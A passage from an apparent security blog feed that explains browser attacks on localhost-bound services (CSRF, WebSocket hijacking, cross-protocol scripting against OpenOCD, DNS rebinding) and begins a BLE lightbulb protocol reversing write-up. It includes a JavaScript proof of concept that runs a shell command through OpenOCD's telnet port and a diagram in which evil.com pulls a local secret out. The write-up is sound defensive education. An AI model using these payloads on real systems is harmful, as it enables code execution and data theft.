&lt;line x1=&quot;285&quot; y1=&quot;145&quot; x2=&quot;285&quot; y2=&quot;205&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;65&quot; y1=&quot;205&quot; x2=&quot;285&quot; y2=&quot;205&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;65&quot; y1=&quot;145&quot; x2=&quot;65&quot; y2=&quot;205&quot; class=&quot;loopLine&quot; /&gt;
&lt;polygon points=&quot;65,145 115,145 115,158 106.6,165 65,165&quot; class=&quot;labelBox&quot; /&gt;
&lt;text x=&quot;72.5&quot; y=&quot;160&quot; fill=&quot;black&quot; class=&quot;labelText&quot;&gt;
&lt;tspan x=&quot;72.5&quot; fill=&quot;black&quot;&gt;opt&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;175&quot; y=&quot;160&quot; fill=&quot;black&quot; class=&quot;loopText&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;175&quot; fill=&quot;black&quot;&gt;[ Attacker controlled ]&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;/svg&gt;
&lt;/figure&gt;

&lt;p&gt;JavaScript execution isn’t even always necessary for these attacks, as long
as we are happy with being limited to sending “normal” HTML-induced GETs and &amp;lt;form&amp;gt; POSTs.&lt;/p&gt;

&lt;h2 id=&quot;websockets&quot;&gt;WebSockets&lt;/h2&gt;

&lt;p&gt;In a similar way, unsecured websockets can provide an even easier
&lt;a href=&quot;https://github.com/JonyEpsilon/gorilla-repl/issues/254&quot;&gt;avenue&lt;/a&gt;
for &lt;a href=&quot;https://github.com/mopidy/mopidy/issues/1659&quot;&gt;exploitation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;By default, any website can connect to any websocket and perform bidirectional
communication. This
&lt;a href=&quot;http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html&quot;&gt;“cross site websocket hijacking”&lt;/a&gt;
is something to be aware of as it can leak information even if the attacker
can’t cause damage on some another HTTP endpoint.&lt;/p&gt;

&lt;h2 id=&quot;password-protection&quot;&gt;Password protection&lt;/h2&gt;

&lt;p&gt;Methods like basic auth or standard session cookie based authentication
&lt;em&gt;aren’t sufficient&lt;/em&gt; for the same reason they
&lt;a href=&quot;https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)&quot;&gt;aren’t sufficient&lt;/a&gt;
for “normal” web services. Attacker-executed request will inherit the users
credentials even if the request later fails because of the same-origin policy.
Explicit protection against Cross Site Request Forgery is necessary.&lt;/p&gt;

&lt;h2 id=&quot;cross-protocol-scripting&quot;&gt;Cross protocol scripting&lt;/h2&gt;

&lt;p&gt;Anyway, so all these browsers and HTTPs and JavaScripts and what have you clearly suck.&lt;/p&gt;

&lt;p&gt;Let’s just write a simple telnet interface for our application like it’s the
nineties. Then none of this modern rubbish can do us any harm right?&lt;/p&gt;

&lt;p&gt;Unfortunately, this assumption is also &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2018-5704&quot;&gt;wrong&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s see what happens if we send an HTTP request to the telnet interface of
(an unpatched version of) OpenOCD (a popular open source tool for microcontroller debugging).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;
&lt;pre&gt;
&lt;code&gt;Open On-Chip Debugger
&amp;gt; &lt;span class=&quot;n&quot;&gt;POST / HTTP/1.1&lt;/span&gt;
invalid command name &quot;POST&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Host: 127.0.0.1:4444&lt;/span&gt;
invalid command name &quot;Host:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Connection: keep-alive&lt;/span&gt;
invalid command name &quot;Connection:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Content-Length: 12&lt;/span&gt;
invalid command name &quot;Content-Length:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Pragma: no-cache&lt;/span&gt;
invalid command name &quot;Pragma:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Cache-Control: no-cache&lt;/span&gt;
invalid command name &quot;Cache-Control:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Origin: https://m.atx.name&lt;/span&gt;
invalid command name &quot;Origin:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...&lt;/span&gt;
invalid command name &quot;User-Agent:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Content-Type: text/plain;charset=UTF-8&lt;/span&gt;
invalid command name &quot;Content-Type:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Accept: */*&lt;/span&gt;
invalid command name &quot;Accept:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Accept-Encoding: gzip, deflate, br&lt;/span&gt;
invalid command name &quot;Accept-Encoding:&quot;
&amp;gt; &lt;span class=&quot;n&quot;&gt;Accept-Language: en-US,en;q=0.9,cs;q=0.8,la;q=0.7,fr;q=0.6&lt;/span&gt;
invalid command name &quot;Accept-Language:&quot;
&amp;gt; &lt;/code&gt;
&lt;/pre&gt;
&lt;/figure&gt;

&lt;p&gt;That’s right — &lt;em&gt;nothing really happens&lt;/em&gt;. Line based protocols in general tend
to be very fault-tolerant, especially if they are meant to be used manually.&lt;/p&gt;

&lt;p&gt;This opens up an &lt;a href=&quot;https://www.jochentopf.com/hfpa/hfpa.pdf&quot;&gt;attack vector&lt;/a&gt;
— we are forced by the constraint of running
in a browser to send an HTTP requests with a bunch of headers we can’t really
affect in any meaningful way. Body of the request is completely under our
control though.&lt;/p&gt;

&lt;p&gt;As all of the “invalid commands” get dropped anyway, all we need
is to include &lt;code&gt;exec do_evil\n&lt;/code&gt; (OpenOCD for “run this in a shell”) in our POST
request body and we are done.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;http://127.0.0.1:4444&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;exec xcalc\r\n&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This is a very insidious type of attack as all the potential cross-protocol
paths might not be obvious. For example, the above described exploit can be
slightly modified to use Gopher instead of HTTP. The modified version
works with current OpenOCD and elinks.&lt;/p&gt;

&lt;p&gt;Modern browsers provide some mitigation by refusing to connect to a list of what
are considered “unsafe”
&lt;a href=&quot;https://superuser.com/questions/188058/which-ports-are-considered-unsafe-on-chrome&quot;&gt;ports&lt;/a&gt;.
Applications can attempt to identify cross-protocol requests (for instance
by &lt;a href=&quot;http://openocd.zylin.com/#/c/4335/&quot;&gt;detecting&lt;/a&gt;
&lt;a href=&quot;https://github.com/antirez/redis/blob/6c4cb1670a1f89ec3f38b67638cd76e161195358/src/networking.c#L1719&quot;&gt;the&lt;/a&gt;
&lt;code&gt;Host:&lt;/code&gt; string) and terminate the connection before damage occurs.&lt;/p&gt;

&lt;h2 id=&quot;dns-rebinding&quot;&gt;DNS Rebinding&lt;/h2&gt;

&lt;p&gt;This is an &lt;a href=&quot;https://crypto.stanford.edu/dns/dns-rebinding.pdf&quot;&gt;awesome trick&lt;/a&gt;
originally invented for bypassing same-origin policy on firewalled servers by
bouncing off of a browser behind said firewall. It also works nicely for our
localhost-bound services.&lt;/p&gt;

&lt;style&gt;
.mermaid,#rebinding svg {
	width: 150%;
	margin-left: 50%;
	transform: translateX(-50%);
}
&lt;/style&gt;

&lt;figure id=&quot;rebinding &quot; class=&quot;mermaid&quot;&gt;&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; id=&quot;mermaid-1610218757804&quot; width=&quot;100%&quot; height=&quot;100%&quot; style=&quot;max-width:650px;&quot; viewBox=&quot;-50 -10 650 640&quot;&gt;
&lt;g /&gt;
&lt;g&gt;
&lt;line id=&quot;actor0&quot; x1=&quot;75&quot; y1=&quot;5&quot; x2=&quot;75&quot; y2=&quot;620&quot; class=&quot;actor-line&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; /&gt;
&lt;rect x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor&quot; /&gt;
&lt;text x=&quot;75&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;75&quot; dy=&quot;0&quot;&gt;Local application&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line id=&quot;actor1&quot; x1=&quot;275&quot; y1=&quot;5&quot; x2=&quot;275&quot; y2=&quot;620&quot; class=&quot;actor-line&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; /&gt;
&lt;rect x=&quot;200&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor&quot; /&gt;
&lt;text x=&quot;275&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;275&quot; dy=&quot;0&quot;&gt;User (Browser)&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line id=&quot;actor2&quot; x1=&quot;475&quot; y1=&quot;5&quot; x2=&quot;475&quot; y2=&quot;620&quot; class=&quot;actor-line&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; /&gt;
&lt;rect x=&quot;400&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor&quot; /&gt;
&lt;text x=&quot;475&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;475&quot; dy=&quot;0&quot;&gt;Attacker&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;defs&gt;
&lt;marker id=&quot;arrowhead&quot; refX=&quot;5&quot; refY=&quot;2&quot; markerWidth=&quot;6&quot; markerHeight=&quot;4&quot; orient=&quot;auto&quot;&gt;
&lt;path d=&quot;M 0,0 V 4 L6,2 Z&quot; /&gt;
&lt;/marker&gt;
&lt;/defs&gt;
&lt;defs&gt;
&lt;marker id=&quot;crosshead&quot; markerWidth=&quot;15&quot; markerHeight=&quot;8&quot; orient=&quot;auto&quot; refX=&quot;16&quot; refY=&quot;4&quot;&gt;
&lt;path fill=&quot;black&quot; stroke=&quot;#000000&quot; stroke-width=&quot;1px&quot; d=&quot;M 9,2 V 6 L16,4 Z&quot; style=&quot;stroke-dasharray: 0, 0;&quot; /&gt;
&lt;path fill=&quot;none&quot; stroke=&quot;#000000&quot; stroke-width=&quot;1px&quot; d=&quot;M 0,1 L 6,7 M 6,1 L 0,7&quot; style=&quot;stroke-dasharray: 0, 0;&quot; /&gt;
&lt;/marker&gt;
&lt;/defs&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;118&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;Where is evil.com?&lt;/text&gt;
&lt;line x1=&quot;275&quot; y1=&quot;125&quot; x2=&quot;475&quot; y2=&quot;125&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;153&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;111.222.111.222&lt;/text&gt;
&lt;line x1=&quot;475&quot; y1=&quot;160&quot; x2=&quot;275&quot; y2=&quot;160&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line x1=&quot;265&quot; y1=&quot;75&quot; x2=&quot;485&quot; y2=&quot;75&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;485&quot; y1=&quot;75&quot; x2=&quot;485&quot; y2=&quot;170&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;265&quot; y1=&quot;170&quot; x2=&quot;485&quot; y2=&quot;170&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;265&quot; y1=&quot;75&quot; x2=&quot;265&quot; y2=&quot;170&quot; class=&quot;loopLine&quot; /&gt;
&lt;polygon points=&quot;265,75 315,75 315,88 306.6,95 265,95&quot; class=&quot;labelBox&quot; /&gt;
&lt;text x=&quot;272.5&quot; y=&quot;90&quot; fill=&quot;black&quot; class=&quot;labelText&quot;&gt;
&lt;tspan x=&quot;272.5&quot; fill=&quot;black&quot;&gt;opt&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;375&quot; y=&quot;90&quot; fill=&quot;black&quot; class=&quot;loopText&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;375&quot; fill=&quot;black&quot;&gt;[ DNS ]&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;223&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;GET http://evil.com&lt;/text&gt;
&lt;line x1=&quot;275&quot; y1=&quot;230&quot; x2=&quot;475&quot; y2=&quot;230&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;258&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;evil.js, ...&lt;/text&gt;
&lt;line x1=&quot;475&quot; y1=&quot;265&quot; x2=&quot;275&quot; y2=&quot;265&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line x1=&quot;265&quot; y1=&quot;180&quot; x2=&quot;485&quot; y2=&quot;180&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;485&quot; y1=&quot;180&quot; x2=&quot;485&quot; y2=&quot;275&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;265&quot; y1=&quot;275&quot; x2=&quot;485&quot; y2=&quot;275&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;265&quot; y1=&quot;180&quot; x2=&quot;265&quot; y2=&quot;275&quot; class=&quot;loopLine&quot; /&gt;
&lt;polygon points=&quot;265,180 315,180 315,193 306.6,200 265,200&quot; class=&quot;labelBox&quot; /&gt;
&lt;text x=&quot;272.5&quot; y=&quot;195&quot; fill=&quot;black&quot; class=&quot;labelText&quot;&gt;
&lt;tspan x=&quot;272.5&quot; fill=&quot;black&quot;&gt;opt&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;375&quot; y=&quot;195&quot; fill=&quot;black&quot; class=&quot;loopText&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;375&quot; fill=&quot;black&quot;&gt;[ HTTP ]&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;275&quot; y=&quot;328&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot; /&gt;
&lt;path d=&quot;M 275,335 C 335,325 335,365 275,355&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line x1=&quot;165&quot; y1=&quot;285&quot; x2=&quot;385&quot; y2=&quot;285&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;385&quot; y1=&quot;285&quot; x2=&quot;385&quot; y2=&quot;375&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;165&quot; y1=&quot;375&quot; x2=&quot;385&quot; y2=&quot;375&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;165&quot; y1=&quot;285&quot; x2=&quot;165&quot; y2=&quot;375&quot; class=&quot;loopLine&quot; /&gt;
&lt;polygon points=&quot;165,285 215,285 215,298 206.6,305 165,305&quot; class=&quot;labelBox&quot; /&gt;
&lt;text x=&quot;172.5&quot; y=&quot;300&quot; fill=&quot;black&quot; class=&quot;labelText&quot;&gt;
&lt;tspan x=&quot;172.5&quot; fill=&quot;black&quot;&gt;loop&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;275&quot; y=&quot;300&quot; fill=&quot;black&quot; class=&quot;loopText&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;275&quot; fill=&quot;black&quot;&gt;[ Wait until DNS cache clears ]&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;428&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;Where is evil.com?&lt;/text&gt;
&lt;line x1=&quot;275&quot; y1=&quot;435&quot; x2=&quot;475&quot; y2=&quot;435&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;463&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;127.0.0.1&lt;/text&gt;
&lt;line x1=&quot;475&quot; y1=&quot;470&quot; x2=&quot;275&quot; y2=&quot;470&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line x1=&quot;265&quot; y1=&quot;385&quot; x2=&quot;485&quot; y2=&quot;385&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;485&quot; y1=&quot;385&quot; x2=&quot;485&quot; y2=&quot;480&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;265&quot; y1=&quot;480&quot; x2=&quot;485&quot; y2=&quot;480&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;265&quot; y1=&quot;385&quot; x2=&quot;265&quot; y2=&quot;480&quot; class=&quot;loopLine&quot; /&gt;
&lt;polygon points=&quot;265,385 315,385 315,398 306.6,405 265,405&quot; class=&quot;labelBox&quot; /&gt;
&lt;text x=&quot;272.5&quot; y=&quot;400&quot; fill=&quot;black&quot; class=&quot;labelText&quot;&gt;
&lt;tspan x=&quot;272.5&quot; fill=&quot;black&quot;&gt;opt&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;375&quot; y=&quot;400&quot; fill=&quot;black&quot; class=&quot;loopText&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;375&quot; fill=&quot;black&quot;&gt;[ DNS ]&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;175&quot; y=&quot;533&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;GET http://evil.com/&lt;/text&gt;
&lt;line x1=&quot;275&quot; y1=&quot;540&quot; x2=&quot;75&quot; y2=&quot;540&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;175&quot; y=&quot;568&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;secret.html&lt;/text&gt;
&lt;line x1=&quot;75&quot; y1=&quot;575&quot; x2=&quot;275&quot; y2=&quot;575&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;text x=&quot;375&quot; y=&quot;603&quot; class=&quot;messageText&quot; style=&quot;text-anchor: middle;&quot;&gt;POST secret.html&lt;/text&gt;
&lt;line x1=&quot;275&quot; y1=&quot;610&quot; x2=&quot;475&quot; y2=&quot;610&quot; class=&quot;messageLine0&quot; stroke-width=&quot;2&quot; stroke=&quot;black&quot; marker-end=&quot;url(#arrowhead)&quot; style=&quot;fill: none;&quot; /&gt;
&lt;/g&gt;
&lt;g&gt;
&lt;line x1=&quot;65&quot; y1=&quot;490&quot; x2=&quot;485&quot; y2=&quot;490&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;485&quot; y1=&quot;490&quot; x2=&quot;485&quot; y2=&quot;620&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;65&quot; y1=&quot;620&quot; x2=&quot;485&quot; y2=&quot;620&quot; class=&quot;loopLine&quot; /&gt;
&lt;line x1=&quot;65&quot; y1=&quot;490&quot; x2=&quot;65&quot; y2=&quot;620&quot; class=&quot;loopLine&quot; /&gt;
&lt;polygon points=&quot;65,490 115,490 115,503 106.6,510 65,510&quot; class=&quot;labelBox&quot; /&gt;
&lt;text x=&quot;72.5&quot; y=&quot;505&quot; fill=&quot;black&quot; class=&quot;labelText&quot;&gt;
&lt;tspan x=&quot;72.5&quot; fill=&quot;black&quot;&gt;opt&lt;/tspan&gt;
&lt;/text&gt;
&lt;text x=&quot;275&quot; y=&quot;505&quot; fill=&quot;black&quot; class=&quot;loopText&quot; style=&quot;text-anchor: middle;&quot;&gt;
&lt;tspan x=&quot;275&quot; fill=&quot;black&quot;&gt;[ HTTP ]&lt;/tspan&gt;
&lt;/text&gt;
&lt;/g&gt;
&lt;/svg&gt;
&lt;/figure&gt;

&lt;p&gt;The malicious JavaScript has no problem with the same-origin policy.
For all intents and purposes the code comes from the same origin as
the response.&lt;/p&gt;

&lt;p&gt;When poking around with this attack method, the public
&lt;a href=&quot;https://github.com/taviso/rbndr&quot;&gt;rbndr&lt;/a&gt; server comes in handy.&lt;/p&gt;

&lt;p&gt;Some DNS recursors prevent this attack by refusing to resolve public TLDs to
private IP ranges (&lt;a href=&quot;http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html&quot;&gt;dnsmasq&lt;/a&gt; &lt;code&gt;--stop-dns-rebind&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Checking the &lt;code&gt;Host:&lt;/code&gt; request header server-side and refusing to serve
unexpected domains goes a long way in preventing this.&lt;/p&gt;

&lt;h2 id=&quot;final-observation&quot;&gt;Final observation&lt;/h2&gt;

&lt;p&gt;TCP was never meant as a mechanism for communication between processes on the
same machine. Caution should be exercised when implementing localhost-only
applications.&lt;/p&gt;
</description>
        <pubDate>Sun, 22 Apr 2018 00:00:00 +0200</pubDate>
        <link>https://blog.atx.name/dont-bind-localhost/</link>
        <guid isPermaLink="true">https://blog.atx.name/dont-bind-localhost/</guid>
        
        
      </item>
    
      <item>
        <title>Reversing Mipow RGB BLE lightbulb protocol</title>
        <description>&lt;style&gt;
img {
	background: none;
}
&lt;/style&gt;

&lt;p&gt;&lt;a href=&quot;/images/mipow/boxed.jpg&quot;&gt;&lt;img src=&quot;/images/mipow/boxed_300.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The other day, I impulsively bought a cheap chinese RGB “smart” &lt;a href=&quot;https://www.aliexpress.com/item/MIPOW-Bluetooth-Smart-LED-Light-Bulbs-APP-Smart-Group-Controlled-Dimmable-Color-Changing-Decorative-Christmas-Party/32479613217.html&quot;&gt;light bulb&lt;/a&gt;. I figured it would be a fun toy to play with and
also an easy Bluetooth Low Energy reversing target practice.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/mipow/screenshot.png&quot;&gt;&lt;img src=&quot;/images/mipow/screenshot_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;sniffing-the-communication&quot;&gt;Sniffing the communication&lt;/h2&gt;

&lt;p&gt;As the vendor provides an Android app, sniffing the communication is trivial —
just enable the “Bluetooth HCI snoop log” in Developer Options and &lt;code&gt;btsnoop_hci.log&lt;/code&gt;
should magically appear on a phone-dependent location on your file system.
This file can then be opened in Wireshark which comes with all the needed Bluetooth
dissectors &lt;a href=&quot;https://www.wireshark.org/docs/dfref/b/btatt.html&quot;&gt;included&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;

&lt;p&gt;Fiddling around in the application for a bit and then opening the Bluetooth log
reveals some easy targets (don’t forget to filter only GATT messages and the
relevant address).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/mipow/wireshark-filter.png&quot;&gt;&lt;img src=&quot;/images/mipow/wireshark-filter_540x.png&quot; /&gt;
&lt;a href=&quot;/images/mipow/wireshark-set-color-writes.png&quot;&gt;&lt;img src=&quot;/images/mipow/wireshark-set-color-writes_540x.png&quot; /&gt;
&lt;a href=&quot;/images/mipow/wireshark-set-color-bytes.png&quot;&gt;&lt;img src=&quot;/images/mipow/wireshark-set-color-bytes_540x.png&quot; /&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These are obviously RGB values being written to the device (the first byte later
turned out to be an additional warm-white brightness channel).&lt;/p&gt;

&lt;p&gt;The device also exposes several obvious (or even standard) characteristics.
There is even a battery characteristic for whatever reason.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/mipow/firmware-version-string.png&quot;&gt;&lt;img src=&quot;/images/mipow/firmware-version-string_540x.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;manually-writing-characteristics&quot;&gt;Manually writing characteristics&lt;/h3&gt;

&lt;p&gt;Characteristics can be manually written to using bluetoothctl, as follows:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&lt;/span&gt;[bluetooth]# connect 31:C2:4B:19:AC:E6
Attempting to connect to 31:C2:4B:19:AC:E6
[CHG] Device 31:C2:4B:19:AC:E6 Connected: yes
Connection successful
[CHG] Device 31:C2:4B:19:AC:E6 ServicesResolved: yes
[PLAYBULB smart bulb]# select-attribute 0000fffc-0000-1000-8000-00805f9b34fb
[PLAYBULB smart bulb:/service0016/char0024]# write 00 00 255 00
Attempting to write /org/bluez/hci0/dev_31_C2_4B_19_AC_E6/service0016/char0024&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;video width=&quot;50%&quot; autoplay=&quot;autoplay&quot; loop=&quot;loop&quot; style=&quot;margin: auto; display: block&quot;&gt;
  &lt;source src=&quot;/images/mipow/colorswitch.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;h2 id=&quot;intermezzo-characteristic-uuid-from-the-handle&quot;&gt;Intermezzo: Characteristic UUID from the handle&lt;/h2&gt;

&lt;p&gt;Note that the logs show something called “handle” for the write/read commands.
Usually, we want to refer to the characteristic by its UUID, as the handle
could potentially change in between software versions.&lt;/p&gt;

&lt;p&gt;This can easily be accomplished using the &lt;code&gt;gatttool&lt;/code&gt; utility which comes
with BlueZ.&lt;/p&gt;

